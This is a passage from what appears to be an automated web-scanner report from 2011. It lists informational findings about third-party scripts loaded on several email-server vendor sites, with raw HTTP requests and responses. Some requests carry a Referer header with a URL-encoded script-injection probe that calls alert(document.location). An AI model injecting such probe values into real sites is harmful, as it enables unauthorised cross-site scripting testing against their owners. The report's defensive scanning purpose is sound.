16.52. http://www.imailserver.com/windows-email-server/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/windows-email-server/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

Response

16.53. http://www.jangosmtp.com/Free-Account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/Free-Account.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

Response

16.54. http://www.jangosmtp.com/Pricing.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/Pricing.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

GET /Pricing.asp HTTP/1.1
Host: www.jangosmtp.com
Proxy-Connection: keep-alive
Referer: http://www.jangosmtp.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF%2D8%26q%3Dsmtp%2Bserver&Search=g; ASPSESSIONIDSCTSBTQQ=PLBPJOABDACEOGJJFNFHKHNJ; __utma=213119631.1093174196.1316204842.1316204842.1316204842.1; __utmb=213119631.2.10.1316204842; __utmc=213119631; __utmz=213119631.1316204842.1.1.utmgclid=CKGSi_aJoqsCFRdTgwod5zgZiw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _chartbeat2=vs5g6yeo9lxk52er.1316204846394

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 11421
Content-Type: text/html
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

16.55. http://www.jangosmtp.com/default.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/default.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

GET /default.asp HTTP/1.1
Host: www.jangosmtp.com
Proxy-Connection: keep-alive
Referer: http://www.jangosmtp.com/Free-Account.asp?s=g&kw=SMTP%20server&gclid=CKGSi_aJoqsCFRdTgwod5zgZiw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF%2D8%26q%3Dsmtp%2Bserver&Search=g; ASPSESSIONIDSCTSBTQQ=PLBPJOABDACEOGJJFNFHKHNJ; __utma=213119631.1093174196.1316204842.1316204842.1316204842.1; __utmb=213119631.1.10.1316204842; __utmc=213119631; __utmz=213119631.1316204842.1.1.utmgclid=CKGSi_aJoqsCFRdTgwod5zgZiw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _chartbeat2=vs5g6yeo9lxk52er.1316204846394

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:28:29 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 9127
Content-Type: text/html
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

16.56. http://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/login.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

Response

16.57. https://www.jangosmtp.com/PasswordReset.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/PasswordReset.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

GET /PasswordReset.asp HTTP/1.1
Host: www.jangosmtp.com
Connection: keep-alive
Referer: https://www.jangosmtp.com/login.asp?status=failed
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSCTSBTQQ=PLBPJOABDACEOGJJFNFHKHNJ; __utma=213119631.1093174196.1316204842.1316204842.1316204842.1; __utmb=213119631.5.10.1316204842; __utmc=213119631; __utmz=213119631.1316204842.1.1.utmgclid=CKGSi_aJoqsCFRdTgwod5zgZiw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _chartbeat2=vs5g6yeo9lxk52er.1316204846394; ASPSESSIONIDSCTWBTQQ=DJNPJOABFNFKEADPKMALIIHA; JangoMail=Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g&Word=SMTP+server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:50 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7585
Content-Type: text/html
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

16.58. https://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/login.asp

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 8884
Content-Type: text/html
Set-Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g; expires=Fri, 16-Dec-2011 16:30:42 GMT; path=/
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

16.59. http://www.opera.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opera.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://www.googleadservices.com/pagead/conversion.js

Request

Response

16.60. http://www.opera.com/company/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opera.com
Path:	/company/

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:18:50 GMT
Server: Apache
Content-Type: text/html; charset=utf-8
Set-cookie: language=en2bcb5aca7750cb3d3f1fbeb1;domain=.www.opera.com;path=/;
Vary: Accept-Encoding
Content-Length: 12546

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" id="company-hd" xml:lang="en">

...[SNIP]...
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...

16.61. http://www.port25.com/products/prod_eval.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.port25.com
Path:	/products/prod_eval.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.conversionruler.com/bin/clienttrack1.php

Request

GET /products/prod_eval.html HTTP/1.1
Host: www.port25.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_pmta4_features.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CR_1195_2=5EAD601775BCFD6E; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.5.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=NQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A2%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A2%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A2

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:35 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 05 Aug 2011 20:54:51 GMT
ETag: "ca096a-3eb3-4a9c84f031cc0"
Accept-Ranges: bytes
Content-Length: 16051
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css" media="all">@import url(
...[SNIP]...

<script language="JavaScript" type="text/javascript" src="http://www.conversionruler.com/bin/clienttrack1.php"></script>
...[SNIP]...

16.62. http://www.port25.com/products/prod_evalthanks.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.port25.com
Path:	/products/prod_evalthanks.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

GET /products/prod_evalthanks.html HTTP/1.1
Host: www.port25.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_eval.html
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CR_1195_2=5EAD601775BCFD6E; CR_1195_3=3A753701A31A2BFD; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.6.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A2%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A2%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A2

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:39 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 05 Aug 2011 20:54:51 GMT
ETag: "b50001-2b77-4a9c84f031cc0"
Accept-Ranges: bytes
Content-Length: 11127
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css" media="all">@import url(
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

16.63. http://www.port25.com/products/prod_pmta4_features.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.port25.com
Path:	/products/prod_pmta4_features.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.conversionruler.com/bin/clienttrack1.php

Request

GET /products/prod_pmta4_features.html HTTP/1.1
Host: www.port25.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.4.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:28:08 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 05 Aug 2011 20:54:52 GMT
ETag: "b50003-2cb3-4a9c84f125f00"
Accept-Ranges: bytes
Content-Length: 11443
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css" media="all">@import url(
...[SNIP]...

<script language="JavaScript" type="text/javascript" src="http://www.conversionruler.com/bin/clienttrack1.php"></script>
...[SNIP]...

16.64. http://www.powermta.port25.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET / HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/download-a-white-paper/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=10cb98cd0f8440b2cc83a3d5c03dcf8c; __ar_v4=%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.2.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:27:35 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 26685

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.65. http://www.powermta.port25.com/download-a-white-paper/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/download-a-white-paper/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /download-a-white-paper/ HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=10cb98cd0f8440b2cc83a3d5c03dcf8c; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.1.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:27:31 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 41695

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.66. http://www.powermta.port25.com/smtp-server-software-2/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/smtp-server-software-2/

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

Response

16.67. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/about-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24827

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.68. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/face-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:53 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.69. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/headerimg.jpg HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

16.70. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js

Request

GET /wp-content/themes/powermta1/images/in-logo.gif HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:35:50 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:35:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24824

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
